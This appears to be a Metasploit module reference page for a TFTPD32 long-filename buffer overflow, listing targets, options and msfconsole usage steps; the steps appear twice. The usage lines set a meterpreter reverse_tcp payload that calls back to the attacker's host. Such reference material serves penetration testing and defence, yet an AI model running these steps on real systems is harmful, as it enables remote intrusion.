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TFTPD32 <= 2.21 Long Filename Buffer Overflow
This module exploits a stack buffer overflow in TFTPD32 version 2.21 and prior. By sending a request for an overly long file name to the tftpd32 server, a remote attacker could overflow a buffer and execute arbitrary code on the system.
Rank
- Average
Authors
- MC < mc [at] metasploit.com >
References
Exploit Targets
- 0 - Windows NT 4.0 SP6a English
- 1 - Windows 2000 Pro SP4 English
- 2 - Windows XP Pro SP0 English
- 3 - Windows XP Pro SP1 English
Development
Similar Modules
- exploit/windows/tftp/attftp_long_filename
- exploit/windows/tftp/dlink_long_filename
- exploit/windows/tftp/futuresoft_transfermode
- exploit/windows/tftp/opentftp_error_code
- exploit/windows/tftp/quick_tftp_pro_mode
- exploit/windows/tftp/tftpdwin_long_filename
- exploit/windows/tftp/threectftpsvc_long_mode
Usage Information
$ msfconsole
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##
msf > use exploit/windows/tftp/tftpd32_long_filename
msf exploit(tftpd32_long_filename) > show payloads
msf exploit(tftpd32_long_filename) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(tftpd32_long_filename) > set LHOST [MY IP ADDRESS]
msf exploit(tftpd32_long_filename) > set RHOST [TARGET IP]
msf exploit(tftpd32_long_filename) > show targets
msf exploit(tftpd32_long_filename) > set TARGET [TARGET ID]
msf exploit(tftpd32_long_filename) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
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##
msf > use exploit/windows/tftp/tftpd32_long_filename
msf exploit(tftpd32_long_filename) > show payloads
msf exploit(tftpd32_long_filename) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(tftpd32_long_filename) > set LHOST [MY IP ADDRESS]
msf exploit(tftpd32_long_filename) > set RHOST [TARGET IP]
msf exploit(tftpd32_long_filename) > show targets
msf exploit(tftpd32_long_filename) > set TARGET [TARGET ID]
msf exploit(tftpd32_long_filename) > exploit
Module Options
| RHOST | The target address |
| RPORT | The target port (default: 69) |
| CHOST | The local client address |
| CPORT | The local client port |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |